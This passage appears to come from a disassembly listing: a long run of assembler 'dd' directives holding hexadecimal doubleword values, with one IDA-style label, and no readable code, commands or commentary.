4F7C045Dh dd 40190BF4h, 0A70091CDh, 0ECE8A0D9h, 30A11BAh, 0FF19598Dh dd 121A4943h, 7B04DBCFh, 0FE02447h, 7B02700h, 99E9E890h dd 0C4141FC9h, 0C0B25A65h, 197FEECEh, 0CDD7AC4h, 0C57ABFh dd 0FB3CA8D1h, 61C5A47h, 0ADBD3339h, 7543CD28h, 0B6301CF2h dd 0A2DF03E6h, 0F2378D19h, 0D610BAAEh, 4D10A56Dh, 0DF027A05h dd 71AF65DDh, 0DECB7CB0h, 68BBA600h, 0BE820E1Fh, 398D3AB3h dd 0C49F400h, 0ADB52971h, 0BBFBA9Ah, 0C004CDA1h, 0D3E5DBEDh dd 0D7CCEE61h, 527F82BBh, 0BCDBFD97h, 0B98D0E33h, 0E0274B64h dd 0EB497431h, 7BE79F5Fh dd 7DD97074h, 0FE20712Eh, 9CBC3913h, 6DB2E1D7h, 0BD2B8B6h dd 0D82B8873h, 9707853h, 9BEFCF7h, 78F8D665h, 9300AB76h dd 0FFBA6050h, 5ADA13EDh, 9AE490E8h, 0F301DB33h, 645D5E71h dd 58D456AFh, 8B931761h, 63EBE3F8h, 0A2E49242h, 7111E013h dd 5B618027h, 8FB195F0h, 4D9E8D1Dh, 0F69A64h, 0E7368A6Bh dd 7BD3E0D1h, 21850F28h, 0F313B7ECh, 396F1A89h, 72341C00h dd 55BD8B62h, 8905A99Ch, 32F60442h, 30DD3AE1h, 385AE55Fh dd 800189B1h, 0DE3B1369h, 2CB08BF7h, 5A0FE686h, 0DABDC986h dd 637AE130h, 0AE8BFBAh, 1F6D1B00h, 543B39FDh, 79E912F7h dd 31EBA6A0h, 3299A45Eh, 0E2D2D25Eh, 49EF0A51h, 8508A883h dd 0A61A9716h, 3CFFE065h, 0BEC52E60h, 1AF188B9h, 15895E31h dd 0F35B6103h, 1480E1DBh, 85619E54h, 377A5C05h, 0C0C19C89h dd 90406E5h, 927EB98Dh, 0ECBA00F6h, 0E37E4B89h, 0C051F5E0h dd 0E7D80088h, 0BFD6A723h, 0B8927BDBh, 0F6AD00F8h, 1BF5DD1Eh dd 0ED85B597h, 0D05F1F0Bh, 15A14C1Fh, 92C9147Dh, 6104C86Bh dd 0C0E59BD5h, 23E9BD08h, 0D3FEC4B5h, 3C46FCBh, 0C23B9FE4h dd 60A2A9D0h, 0B7808F40h, 0B10F3C58h, 0ECBDCAE4h, 756E5B62h dd 967E340Bh, 0A91A5385h, 4ED4B8ACh, 256DB062h, 82010141h dd 1B331D69h, 31C1EC40h, 49B201DBh, 0BF607F27h, 0BFB390h dd 32E88FE5h, 69137C67h, 98D7A6F4h, 0CD4BF16Eh, 0D347782Eh dd 4C14605h, 0B1B04F58h, 1F0E910Ch, 0B51F7121h, 28D7623Dh dd 1A7BE6BFh, 30819513h, 812E8A75h, 45011A23h, 43A03940h dd 65E96DC8h, 0E1B11FABh, 5FDB2AE5h, 63558083h, 46CFAE34h dd 4336EABh, 99D8903h, 0DC6A2CD2h, 700DE64h, 0DF167792h dd 3DBFD852h, 42B489B3h, 129CB84Eh, 87B91D21h, 0ADC16BE9h dd 2902281Dh, 2B043DD1h, 86D6618Dh, 0C58A2F28h, 3FC0846Dh dd 39E95E65h, 0C6A75AE2h, 0EA061290h, 438EE3Ch, 0C08B82A8h dd 26E0C1F6h, 963F5AC1h, 151050Ah, 0B9B02585h, 0F43DB65Fh dd 823A921h, 84D4AB0Fh, 6EB05B20h, 18233Dh, 54581040h dd 316450B2h, 0DB530BE6h, 608B8FDAh, 7BA8E6F9h, 533BECBDh dd 8838CFB1h, 6E2EEE82h, 908974C6h, 0E26CC3D6h, 0AC04E109h dd 0D6E0117Eh, 5FA52A50h, 0CFF9430Eh, 0A4039739h, 0C84BA1BBh dd 0CCDFD824h, 60AF3E73h, 0F098B6DEh, 2C9A0FFh, 0DFE6FDFh dd 4D54DA5h, 1AEC899Ch, 2C88858Fh, 7D14467Ch, 1D27DDB0h dd 0F4712Fh, 905FEB80h, 295DA8Bh, 54ABB7BBh, 98917A3h dd 70706854h, 88D8BF09h, 134BF01Fh, 74CDBD29h, 0A8BDAD0Bh dd 121C0045h, 0EB81599Fh, 1B27B12Eh, 0BBDE7011h, 837CDA09h dd 2FCEDB1Eh, 939D228Dh, 0DB37570Ah, 4A769F80h, 1111D3Ch dd 66D1FFF9h, 7A87D7BFh, 4011C32h, 7E8B4B76h, 26A42C1h dd 0EFE0F0EDh, 90A8DEAh, 5BF85749h, 4EA4DFD8h, 85133894h dd 0A1F60A13h, 2CD5C8F0h, 2B3C7802h, 0D90C35B6h, 0DBBF0021h dd 585FBA6Fh, 31B2D3Bh, 6E4A787Ah, 55E010AAh, 21E92603h dd 625E7127h, 0FB122CAFh, 0AAF853ECh, 0F409CAA0h, 719F7Ah dd 21C81112h, 0C9C1A03Ch, 870F27CFh, 7C24A066h, 30495E4h dd 0EF970A86h, 0DD881075h, 0B57290FFh, 53154AE6h, 12AA5B5Fh dd 0B9A5FF64h, 707CF3C2h, 9165395h, 9B067F96h, 946E2937h dd 64D960C8h, 23E12589h, 5BB93816h, 520498B7h, 872ADB80h dd 0D3C7CEB9h, 0F5B54539h, 65406070h, 0C9390F6Eh, 4466743Dh dd 8D890301h, 0B0173251h, 95448F7Eh, 6151909Dh, 249900F9h dd 5B73FD3h, 9E0EECE1h, 60110B09h, 0F7BF70E6h, 41C8092Dh dd 60D471E4h, 4EB5626Ch, 282DA30Eh, 85130ECEh, 72D01AE5h dd 0B59D8BC8h, 0C199AEE5h, 93C17DEh, 0CEA0E925h, 906A21E4h dd 41C6350Fh, 0E20BA929h, 0B0008018h, 76C82B26h, 7E1A0057h dd 15F04ABh, 91A8598Dh, 35B8D18Bh, 9D36E954h, 1F2D2532h dd 5BBD7285h, 485AE209h, 0DBF7A8Dh, 37980CB6h, 0D03BCB69h dd 0BF15E6C8h, 8129FE3Ch, 32D90831h, 3DB6F927h, 6059F8A5h dd 50A6092h, 5A34E2D2h, 843461ABh, 0D381102Ch, 0D5441F30h dd 20A5D40Ah, 8093FE29h, 2056195Dh, 0C30461B4h, 89FDEDA0h dd 0BF022BF2h, 23834C66h, 0DB4847FEh, 0AB83704h, 52FA4FB0h dd 5B49D96Ah, 0B293E65Ah, 0E92D3016h, 0BCE7974Fh, 0B9BAF45Eh dd 0FC19FB6Bh, 83804F5Ah, 0BEA34391h, 521A6200h, 0D7734F85h dd 8F5B514Ah, 0FCEE1B2Bh, 950E4467h, 0A7D0F3BBh, 0A871F7FBh dd 0FB8682F6h, 7C258BBAh, 67CDC5Ah, 4F619230h, 60C233ADh dd 83D046D1h, 752704E9h, 0C9B7F4h, 9802A6A8h, 7D208D09h dd 20504B03h, 0AA450EA1h, 0E6D03400h, 0DA292001h, 7DEF061Dh dd 27880D5Fh, 9C8B0F26h, 0CAE2BF61h, 4F0195E4h, 737A0Ah dd 576FAE90h, 48C0B558h, 0A527799Bh, 0A34DAA0Bh, 0CFAD92C0h dd 9BB61FB9h, 33A1898Ch, 3D71F481h, 0C28860F5h, 33718E4h dd 958E08C1h, 581964B5h, 26C6EEAh, 2D8D2907h, 1D85090Ch dd 0F9F781FBh, 0A2F8042Fh, 8390A722h, 1169520h, 0B2E6F781h dd 0C2B83D59h, 98A23DFDh, 0FFFBECC0h, 0B85C9097h, 96720040h dd 0DAC97532h, 5F241B3Dh, 0F008BF3h, 0A1959FFh, 347CB85Dh dd 0AD944B4Ah, 79DB8E5h, 78947DFAh, 51746929h, 82AEF9A5h dd 5819531h, 4DE1FF02h, 0D93AE097h, 0ECC52378h, 0B408408Ch dd 479C2D5h, 1440D08h, 37A58708h, 0ED2000B8h, 9F26BD7Dh dd 0FB0A8178h, 3473B0A4h, 78810345h, 9E2B041Dh, 7D2683D1h dd 3EDBA8E8h, 0A846241Bh, 0AD8D1340h, 0B760254Ch, 7DF201A4h dd 411EBCDCh, 3B14409Eh, 0E3A97884h, 350005B8h, 1277FE19h dd 2D808198h, 0A5F104E1h, 0D92A6090h, 0A61148Dh, 6E27C3C9h dd 0DF168BE4h, 0AE06E922h, 24DF0EF1h, 606196B1h, 8723D017h dd 0EAE65B00h, 43CBEDCEh, 44C81EDDh, 0C26D80E4h, 33619C02h dd 3C698524h, 0EDEEAA4h, 0CB8037D9h, 0BA0590EBh, 6C7BC98Dh dd 60BE8FEBh, 0FA475B96h, 9E5600DFh, 0B927BB58h, 61001BD7h dd 5939BF50h, 9D905EF2h, 48C2A1EDh, 2039AF9Dh, 0B216101Eh dd 8B290223h, 5B501C6h, 5F27E550h, 78AA7B6Ah, 480056B1h dd 8157DAE4h, 5452CFh, 685B3A5Dh, 0FB4D1D6Ah, 10B75612h dd 950EA9A9h, 0A6B3D1E6h, 0BB4DE0C0h, 11873A49h, 0C229A797h dd 0BD5F0581h, 150E03CFh, 60EA6358h, 0B3403756h, 0C1E4C7Fh dd 91BD89DBh, 59B86163h, 64B8A2EEh, 710E807Fh, 1201BEE9h dd 2546FAAh, 9B6D89F6h, 0C28CC29Dh, 0C520840Ah, 6BDD6987h dd 0C7FC0E6Ah, 0EF54180Bh, 0BFD507F6h, 0C1D19BB7h, 0A48DB58Bh dd 5F4D860h, 8DE53579h, 6708EFCBh, 7DB83211h, 0DABC1B50h dd 5E0813DCh, 9D6DBC8Bh, 9289FE8Eh, 0E9B9F264h, 0FEA42AB9h dd 8DDF0480h, 0FE044689h, 0C01DF46Eh, 45312D1h, 0DB2434C4h dd 0C5A9D381h, 0B5311481h, 0A2D6CE25h, 560000A9h, 0CC685FF9h dd 597B0B51h, 0ACF0DD8Ah, 6452331Eh, 0CFE46D67h, 8D3556C2h dd 0A1B66A46h, 90001E10h, 0E2C4A0BFh, 33EF507Ch, 0C97801A9h dd 0B5A2A307h, 7E087C8h, 0F2CB269h, 7A8CA018h, 0C049D1C7h dd 8C16B8CFh, 89AC9B50h, 19C99D13h, 2680E0B9h, 4EEEE8BBh dd 9F617A24h, 0C7CCB802h, 0B5A6C685h, 0BD60B96Fh, 4FE666h dd 0DA3CF9CAh, 0B9B58950h, 0D83D9B99h, 599D42DCh, 4041351Dh dd 476FEEh, 63FDCC6h, 41DEF3Dh, 8529B612h, 0DA2FE431h dd 332BE931h, 3A6C5357h dword_50C450 dd 0F4783480h, 150EF750h, 0C35B5FE7h, 83110C30h, 0C1019844h dd 0CE107AE8h, 4C0F020Eh, 0B45803C4h, 0EB37E710h, 10783636h dd 58B8E764h, 29CD501Bh, 18032128h, 1133458h, 0AF1B2457h dd 0F781A700h, 5C79A521h, 85A18377h, 0B42C1437h, 9E2FFB2Ah dd 0A5F8073h, 796EF7A3h, 82B5908Dh, 6702552Fh, 45587CEh dd 8B1416B6h, 0D302918h, 17A885B5h, 9C2F82C3h, 946243C7h dd 0C6F00EA6h, 86E4A62Fh, 8DA2D34Ah, 6DDC5C00h, 63A8FE90h dd 0EFAB401h, 56963D37h, 51277920h, 0F633F6D3h, 0FD44FF0Eh dd 99345900h, 5B31FE89h, 2E822C96h, 60E97648h, 955B3511h dd 0C21FC4B4h, 58051B3h, 755D8986h, 26B714CAh, 0E11187B1h dd 0FD9D081Dh, 0F6BF5019h, 30ECDE1Eh, 20A513FDh, 0AC82E69Eh dd 907C7062h, 0A507AB40h, 636704BFh, 0E00D9125h, 620202E2h dd 0AFF4C5F6h, 86C760F9h, 8135C0C4h, 91DE0EBh, 0BD334709h dd 5B2FE2A9h, 0D67DA63Ch, 0EE1E2901h, 8A0FF0E4h, 61B7D83Ah dd 0C2832409h, 9D79B704h, 0BF1703A0h, 72F01014h, 0C55A8D01h dd 50891502h, 0DC707C20h, 0B47B3101h, 2B305DD2h, 42BCFA30h dd 88C12AB5h, 235AA082h, 149B795h, 88535E4Fh, 80C82AF3h dd 6BBC01F7h, 8B69835Fh, 8C07EDFh, 50F5853h, 5B61D8BFh dd 0F081B66Ah, 2B422D9h, 1F889FFBh, 0E945256Eh, 4FC8CB05h dd 0A65A5FE3h, 85C4E06Eh, 303F5AC1h, 99589C0h, 0B1500440h dd 0D80BB92h, 0AF47B6BDh, 323B58CEh, 0F9198077h, 5031E521h dd 0FED2E8Ah, 0DE64A420h, 2E5CF901h, 0C005740Ch, 0C1701A19h dd 0DDA422A9h, 41D5B860h, 20BD6C23h, 2052B415h, 9511F2A4h dd 9CD0BE7Bh, 5A5C7F2Fh, 9604ABE1h, 0F3C0A4DBh, 840706DDh dd 0D59E615Fh, 57DC5C0h, 7B12EE7Fh, 18F8304Bh, 9659DB05h dd 800FB852h, 99729561h, 0C8A05BAFh, 0A01CD27h, 4A3C0989h dd 0CD6E3E3Ah, 6140FEB4h, 965FDDB7h, 2BE06020h, 0FAAB072Ah dd 0C3DCE77Bh, 95A7F2C1h, 23CE6E24h, 71582514h, 521BF120h dd 0B0B29F8h, 0F4F9399Dh, 0F41AF509h, 5000F4C0h, 68C2638Eh dd 0A0C439DCh, 8119F5CCh, 2A5D0202h, 27B602ADh, 0FA612190h dd 3779A729h, 1454012Fh, 2A8F3E67h, 6EAAAF84h, 0B7B90005h dd 546F154Fh, 5623584Bh, 892E1D20h, 0F22D46BDh, 96094B99h dd 51010344h, 0E95FF98Ah, 0C86FF37Ch, 6412301Ch, 0B7F6C18Bh dd 6DD7FCE0h, 0ECED290Dh, 947E846Ah, 0D2F7A875h, 0B44F11B7h dd 8B1D90AAh, 0B72550FEh, 50460031h, 4D69E509h, 0B56DEF24h dd 97D85825h, 8006EB7h, 1361A4B6h, 52483Ch, 18749627h dd 8B8CE124h, 13F8CCDAh, 0B6060B3Bh, 5223E03Fh, 37950414h dd 0B8180B0Ah, 55A65A1Eh, 0D4F58CE0h, 0A12E2B00h, 0C0368D5Eh dd 70BB0450h, 0A83F1C5Ch, 9D0304C5h, 30B8162Dh, 0B8C15FCh dd 8B60D1E4h, 6605CF64h, 61A114BEh, 0CFA31A85h, 5E41FF40h dd 611FE70Bh, 0EF80C340h, 125661ECh, 0E35F17B7h, 79892F2Bh dd 9E90CE6h, 84018D55h, 138EC0A2h, 0FFD84C03h, 81BB0FD1h dd 0E25223B3h, 54AB8B1Eh, 510EF606h, 0E443F36Dh, 8CAAC4CDh dd 0A33BB31Dh, 0BC59C96Ah, 8C630040h, 79F76425h, 0BD740136h dd 0E7A246B2h, 769629DDh, 0E0DA155Ch, 3F06756h, 0D24C6898h dd 46085FE2h, 15124B15h, 9DC18FCh, 0F0AE943h, 2625371h dd 604093Ch, 8BD8AB45h, 0E8C13735h, 95190039h, 4400025Ah dd 2E7C34D6h, 2E47D36Ch, 922E222h, 62A20D85h, 4BFE6159h dd 758C9340h, 24CE0003h, 0A427B90Eh, 9F09AE40h, 71F1D905h dd 15A4A059h, 0A542C0BFh, 0C56E5Eh, 625DE451h, 0F17C37F7h dd 0BBF3CE84h, 9672B9D1h, 47B62012h, 0F941CC4Ah, 5EBB6A78h dd 5DA94578h, 5912FE86h, 37AFE15h, 0F4230F00h, 0EECA325Dh dd 9D85D812h, 542278E6h, 0ED21097Eh, 9D29022Eh, 327E131Dh dd 4FC60BC0h, 0BDF607AAh, 60EEEC51h, 0E67B2BAFh, 16897035h dd 71E43645h, 1B25B5ECh, 1C2271C6h, 40BD7501h, 0ED4BB733h dd 6DAC7384h, 248F169Eh, 9EA2AAh, 0E152FE7Ah, 59F343h dd 8BAAE75h, 14823C81h, 2588450Bh, 2971015Bh, 906B1DBDh dd 48D9550h, 639D12B7h, 75A9DF8Fh, 0E2F73110h, 7FEC1097h dd 0F0F207EDh, 20DB9B03h, 44D16373h, 71625F00h, 0BF0FC82Bh dd 808B4EDAh, 0E91A1069h, 824FF6BCh, 2B1DE59Dh, 0D452280Bh dd 902166BFh, 285925D5h, 297F9DC4h, 9168928h, 0E7F11895h dd 0F3EB00DAh, 3BB7F581h, 9C09BC7Ah, 4402D62Ah, 9F7BD6h dd 91703273h, 0A2121192h, 0A5DD8E1Ch, 68488A84h, 5B82C2AAh dd 2090C75Ch, 2FE9BD82h, 64C9BF5Ch, 248D01C7h, 1A9F7D47h dd 2F4ACDEDh, 0B55BFA8Ch, 4CDDFDC6h, 13AC0496h, 581E84C4h dd 0CA328138h, 151BA51Fh, 892DABFEh, 80126CC4h, 0BFE6A5F3h dd 25C1A910h, 69B57660h, 61551857h, 35CDB56Ah, 9171C6EFh dd 8DD84B8Ah, 19EA01E5h, 2A9C6E04h, 7DF70181h, 0B9676B05h dd 30D8550Bh, 2304B69Ah, 9F51B00h, 0A22EDA90h, 2BEB25D2h dd 825BCBC2h, 3B6EAC70h, 900E87B4h, 6F36FC8Dh, 0C54E15F4h dd 1E2620B8h, 0C01C02Bh, 0D21105E5h, 0BEC33697h, 0E20ED4E9h dd 2074FD90h, 0D4613F2Dh, 46B72767h, 0C200D237h, 0F442AD17h dd 876309BFh, 0D67101F6h, 0FB86602Dh, 0E9959E14h, 0D55294FBh dd 0ABA5A385h, 1523B93Eh, 71B78209h, 0BD2B58BDh, 5E51A997h dd 4828109Eh, 0D85346Bh, 47A2AAACh, 92BB6623h, 4FA25C02h dd 0A9D689E9h, 1E4D9D61h, 77132B09h, 9700337Bh, 315638E7h dd 0BC00BDE3h, 8BF840E9h, 97E1FFF9h, 38444A14h, 0C1C309BFh dd 4F71573Eh, 9D254146h, 390780B7h, 3507A95h, 10782E1h dd 73D28160h, 41482559h, 21AD1E4h, 51595C61h, 3DD5D2CDh dd 0B5C20E92h, 8ECD6049h, 8B66B8C0h, 470B97FEh, 74822037h dd 5C201F7Ah, 0DC8A2E43h, 0DE7A4D01h, 424068A6h, 28123D68h dd 1B5CE4CEh, 5B970170h, 0B1A278DCh, 20F54001h, 699D891Dh dd 0CB80C050h, 8F1A9566h, 90646456h, 11FF20FBh, 2209FD5Eh dd 75C1C8B0h, 905013A2h, 8873A053h, 3C2F7Ch, 0BB521030h dd 69B51567h, 40F15F4Eh, 0C3B1246Bh, 9CC1DBh, 90567068h dd 6203950Fh, 7997558Fh, 0ADC0186Dh, 1F454CDCh, 0EE55A330h dd 0DE806029h, 0A0096DECh, 52781477h, 0F4519C47h, 0F9CCDE00h dd 30B33E1Eh, 3D952F09h, 0C597309h, 7091DBA5h, 290225ABh dd 0E9775915h, 10F9E4B8h, 4A027995h, 803609CDh, 0E37D03F0h dd 0DE4B2909h, 0E9F145h, 1391B382h, 3B091E2Ch, 73F4D1F3h dd 18155937h, 8CA54BD6h, 0D94B8A33h, 1AC80F9Ah, 89B069C0h dd 54C21757h, 2C608FCh, 14B8D944h, 16CEFE25h, 116B5B5h dd 0D56BE220h, 12B0726Dh, 0D2AD0446h, 0EE0033B8h, 5E87B0A7h dd 7C502BB7h, 1239B057h, 0E35BE577h, 0BEA64F23h, 60B7C4A0h dd 20730958h, 3E30F732h, 0F97548D9h, 5450A15Ah, 0BA6FAB1Dh dd 0FAE55000h, 5ED4D2F5h, 422CA2Fh, 6800130Ch, 0B53DC6FBh dd 0E384B725h, 0E18297F4h, 40AA5E4Ah, 0F3A00965h, 39342EFDh dd 9A531040h, 3B36C468h, 18C85090h, 6E5F5B3Bh, 0A73000Bh dd 37621D7Fh, 0AB070401h, 0D459BD89h, 2006999Ah, 0DDE71A6h dd 596209A5h, 0BA73E923h, 0E303E51h, 0D342BDFDh, 31516554h dd 0C003DE6Fh, 0C611BE70h, 0BB2F0065h, 6F4EE46Ch, 27D221E9h dd 0CE4AA4E3h, 336B909h, 86FD9F0h, 4ADB3C1Dh, 85A17356h dd 92899B2Eh, 0FCEB62AFh dd 0F2504C5Ch, 2CBD9705h, 4ADDE500h, 4E34351h, 0B5096C57h dd 0BB56D001h, 9E9035F5h, 0B79A15A5h, 996D7776h, 638954E0h dd 566F02A7h, 5CE155AEh, 1D25D378h, 440CCCECh, 794B450Ch dd 7EC4B7EDh, 0D68EB8A1h, 0DE1C721Fh, 7E33FD2h, 0DA6E5Eh dd 0CAFFEA51h, 1266C989h, 0E7DC8A4Ah, 0D7DA4BAEh, 81E43C84h dd 4214985h, 0C1C00FF8h, 0EA65C71h, 0B4282B1Fh, 671CE840h dd 22D89B6h, 0C8B28D02h, 0A97950F3h, 0EF0F5900h, 0FEB35DFh dd 0C0761524h, 16F73BC0h, 0F43A845Fh, 749631CCh, 0F6051031h dd 301DB201h, 4B013C98h, 67209FE3h, 0A742FFFAh, 3A4A7DB5h dd 0B76BD256h, 83010082h, 0EBF9DABh, 15271815h, 0E9A992E9h dd 0D01E22B8h, 3AC14784h, 2074C937h, 1271826Eh, 0AC167309h dd 6572D66Bh, 7A175EFCh, 0DAC1A6C1h, 352FDA75h, 5720EF06h dd 16BF776h, 6035B2C8h, 7A299D0Bh, 0C25B6A0Bh, 554CD629h dd 13836900h, 28BD4BA6h, 20D36E14h, 0C2FA0391h, 78C4F39Dh dd 0C00209C5h, 0AA461AFh, 476657FAh, 210B59Ch, 0D86E884Ah dd 7E66C500h, 6FECC0D0h, 0AD690105h, 0E27443D4h, 0DD8F877h dd 4C04E290h, 5F7FBB18h, 0EE7D33BCh, 0CD5C4B2Ch, 0E66E2E15h dd 4C1F7600h, 0D058D01h, 9F339697h, 1F0E3CB5h, 59C722B2h dd 237683E9h, 9BB788D5h, 9368009Fh, 0F4FD108Bh, 88051287h dd 4FF843B8h, 0EF09D9A1h, 80B79E2Eh, 80C5BAFDh, 9CC00AA0h dd 999810Eh, 0F51AC6EAh, 82BCB75Dh, 140B6638h, 18A1EA82h dd 80814AFBh, 5096F0C3h, 25BFF570h, 4ECBBBEFh, 508C56D7h dd 8376B0B7h, 0EF7C1C03h, 4F3CCBC2h, 979AB4E6h, 0ED965B27h dd 42F0C7D9h, 8EC36050h, 0F8141970h, 0A4865F61h, 9BA6ABAh dd 0F6F3DADFh, 0B9460175h, 8306E922h, 395FA123h, 5E2D9AF5h dd 9A00554Bh, 0C5A0ABC8h, 988B67FEh, 0FC296B8Dh, 71444E71h dd 0DBB7865Dh, 0E451496h, 5FCBA62Bh, 613EE9A3h, 6C041CEDh dd 0FCE4809Dh, 5BDE29h, 4BB20E8Fh, 32F77749h, 48C62C79h dd 0ED4D6160h, 0A4FA202Ah, 9D03D6CFh, 5241B44h, 96242F30h dd 0D470F17Bh, 24A67515h, 163DA529h, 682655BDh, 18C1AB8h dd 33F04211h, 73B378C9h, 1B670E30h, 0ABBF2039h, 12AFF3F9h dd 0F3528C9Ah, 40FC2B75h, 71181C51h, 0F7434500h, 0E6DB188Eh dd 0DFDBA16Ah, 262282CDh, 4B725048h, 31A2DC16h, 0CF21852Eh dd 1C85C5A5h, 0D47B27B7h, 1473DD0h, 0B048A2FCh, 7FCFD71Eh dd 48D5F083h, 2F7F297Dh, 6BCC6156h, 252CF99Dh, 0ED95BBCEh dd 3B2741C4h, 2154888Ah, 0BDC61730h, 422AE889h, 0FC9C00E8h dd 79765CA1h, 293A01E7h, 44755BCh, 44DDE0E2h, 8072DB02h dd 5F5BE0E3h, 0F7D59110h, 0E7F893E0h, 7081F417h, 59DC604h dd 5F258ABCh, 6DADDFE5h, 884AC0FFh, 75B82240h, 6291BD5Bh dd 907F9D03h, 0F1B2E904h, 22C4FF71h, 0CDBB1339h, 0B068261Bh dd 977ACF98h, 1B59CC73h, 0D4001918h, 51CB2B9Fh, 9950CA52h dd 898880F6h, 82CE791Fh, 0DFAAFE00h, 3A510386h, 903D98F3h dd 932590F7h, 5B043253h, 0BEF6A75Ch, 521869B0h, 0C4019FE7h dd 0E86E384Fh, 4A2F722Bh, 0AFE1757Fh, 0B80C6F0h, 0BB801541h dd 7D111493h, 2776960Eh, 0D8ED0B4Dh, 1C7517E0h, 2483E062h dd 0DE6E05C0h, 10E4A95Ch, 902C1849h, 168F08B5h, 74401044h dd 0B6057ADAh, 8CDD9F00h, 0ED17021Fh, 0D3AA0E5Ah, 50295F65h dd 0F073FF98h, 200C3A00h, 1FDCA64Ah, 8F180252h, 905D5FE5h dd 5D703AD3h, 0AEE7096Dh, 2483B854h, 4A5114F8h, 3E53BF5h dd 0DEAE7CE2h, 8F515E00h, 0A14728A4h, 4362C535h, 19E104B3h dd 8ADBBB32h, 30C019C8h, 27E18CDFh, 3EE217F5h, 0DCAF3A57h dd 3216D47Ah, 128DD3h, 0DC43AEB8h, 0FD2BFA12h, 0AA41DE7Ch dd 0E781757Ah, 4C8E5568h, 794730C0h, 0D94E8B5Bh, 9822AE8Ah dd 15A9B780h, 0CC7B0289h, 0FA5E8BCEh, 0C029CE20h, 439D038Fh dd 0C7487FCFh, 6E90D3A1h, 0F80192h, 0AD2165BFh, 50D81A48h dd 0E4B65324h, 4771040h, 0E7F70012h, 3B3254D8h, 79C905Fh dd 950600DCh, 0F5BF51B1h, 764EC66Bh, 1DC88C9Ah, 0B0370BC0h dd 0CDF500F7h, 0D10757F4h, 7417EB81h, 8A04583Dh, 9BE80E87h dd 54D9DB1h, 0D51120EAh, 98030E95h, 96B1408Dh, 0AB01C289h dd 4090BC3h, 0F31217D9h, 276E5A78h, 2A1D3700h, 50657ADh dd 56808A26h, 0C620190h, 0C67F285Dh, 7D14CAACh, 82E4A596h dd 411B4FB7h, 0F93C2E0Ch, 0D0052BE8h, 0D3C5F106h, 0F16D52BFh dd 0FFDF7EABh, 10CF1387h, 0AE1265CBh, 9EBF6609h, 8AD1D1BEh dd 0BE328D0Fh, 134582E2h, 0CA9F1452h, 0DC055E2h, 90A41435h dd 614393EFh, 6622A6A6h, 9A75C4A6h, 5EF35200h, 0DB1D2E2Fh dd 0F2610FB5h, 0CA2D4BCh, 0C544880Fh, 8709BF7Dh, 745F7308h dd 88139039h, 6C04800Eh, 0F1FE8B61h, 15BA2D0Eh, 3A5BE0ACh dd 4870E645h, 0A4C0EE57h, 47D786BBh, 0F135B4Ch, 4171E4DAh dd 7E0BD4B2h, 4EE97530h, 6CE9241h, 0C9719D10h, 0CDD0FCF1h dd 0A8E14188h, 7497EC07h, 0CF16026h, 7EE1A667h, 0FBCC7FEAh dd 6057C118h, 91081E66h, 0C300BFEEh, 0E5F04414h, 7109325Ah dd 0D05B61EFh, 7D7EC4CEh, 8FCCE819h, 0E0F12923h, 0B7C82BACh dd 50F5404h, 6681D18Bh, 0E9010139h, 8A678A02h, 990CDDDDh dd 88081B32h, 0D20260B3h, 0AE947B51h, 25BE74ABh, 0BDC126FEh dd 63841781h, 0E814ED9Dh, 15A298CAh, 8DB08326h, 46972F35h dd 9D08E570h, 7F0A7932h, 9882857h, 9B579B4Bh, 597013A1h dd 2298A61Bh, 3BE9863Eh, 22052E87h, 9A58328h, 6604FE1Fh dd 28F55003h, 7D8992FBh, 0C0171014h, 2F0538ADh, 0D68A980h dd 2EBDB55Fh, 0AA790301h, 40F03970h, 0FEB8613Ah, 795361D1h dd 608DB8EAh, 1533ABFh, 2C4E559Dh, 0F6E526ECh, 7977A1CBh dd 327E03Bh, 0CD20D5A4h, 0FFB91318h, 571CD808h, 1A00427Dh dd 23F13C7Eh, 140C5DB6h, 980DA5CDh, 2B114177h, 0BEB698D4h dd 42FA80E0h, 730B8B4Ch, 0D8C83450h, 3FFCEDF1h, 0A51CC16Eh dd 0DDBD2FB8h, 0CCE83C92h, 0A567E74Fh, 4D25AE9h, 2277984h dd 5D57E780h, 1B91D63Fh, 83CE2880h, 0FF004C8Eh, 51603AFCh dd 0BDEF81h, 5A736595h, 32D48052h, 0B7615B2Fh, 0FCD20024h dd 2B29839Fh, 0F1356D14h, 719513C5h, 0FA8A2E41h, 0A72B880Dh dd 9A70B30Ch, 1940C009h, 0F0605F7Bh, 60821431h, 7904F27Fh dd 6CD5B6BAh, 7A4E162Eh, 0AA7D38DDh, 8B73D4A8h, 0C2F45218h dd 9DC75D56h, 29824095h, 7D1AC985h, 3A403ECFh, 9FA666FDh dd 0C631AF61h, 0D6BF0F00h, 5E949D61h, 0F8296B5Dh, 802C099Dh dd 95186CC1h, 0CD5BBD09h, 8D85D345h, 753A5FF1h, 0A004E678h dd 7EFD4A9h, 5D45D30Ah, 0C1E50499h, 1931E1h, 0A056E1FFh dd 27C5D3EFh, 82655B45h, 5B04F309h, 0AA38D096h, 4A41C90Bh dd 7203C28Dh, 219D2CA2h, 0AA45A724h, 0BDD2D410h, 4EE4A808h dd 1696CA99h, 0F9AD0474h, 0BA1F76E8h, 0CD9A4F80h, 0CEEAD5C8h dd 58DE9F74h, 0B213AF4Ah, 1A0B188h, 12655FCh, 133BDE8Bh dd 842FDB89h, 0BEA856E5h, 0A4A7D371h, 5C8A6786h, 19F16BD5h dd 0B55D4900h, 0B16EFC33h, 9A9EC5h, 2FEAA87h, 0F774C780h dd 33C57F00h, 0BA60CB0Ch, 3BE609CAh, 0D84295Bh, 0D587ED2Fh dd 0B0BC5Eh, 0B3CD8BFh, 0D249EC7Ah, 8A60C002h, 0D98F0FCFh dd 15E833EEh, 6050CD00h, 0C4BA3FB6h, 79D90554h, 0F9048961h dd 2A1BCF6h, 1CC58E9Ah dd 0B079CE92h, 0BF186200h, 1DC0FB0h, 2B66F496h, 431FFDBDh dd 0A8BCB778h, 604A8080h, 27208B03h, 35F0BBD3h, 685B00EDh dd 52A33FC7h, 58C0FCDCh, 77B49EB1h, 4BA17838h, 6038EFC0h dd 6E745ACCh, 3EFC2E82h, 95C84E27h, 985310DBh, 9D184759h dd 810FBF98h, 0BB00FDB9h, 19DB9DBDh, 25E9B8B3h, 477C0237h dd 74130BF4h, 0A0249B2h, 0F782B187h, 3FC42405h, 62C02827h dd 0ABBD57D2h, 0C998CA83h, 37BEA4E7h, 0E8886585h, 0D92089B0h dd 385EA7CFh, 3DBB04DEh, 0EC2EAF8Dh, 0FB91DDD3h, 1C8C1DB8h dd 4037B8CCh, 5CAC783Ch, 0CA909F93h, 89B227BDh, 0A5BD3120h dd 992EF104h, 0B5173AEEh, 98B8F0E9h, 0CC01EA70h, 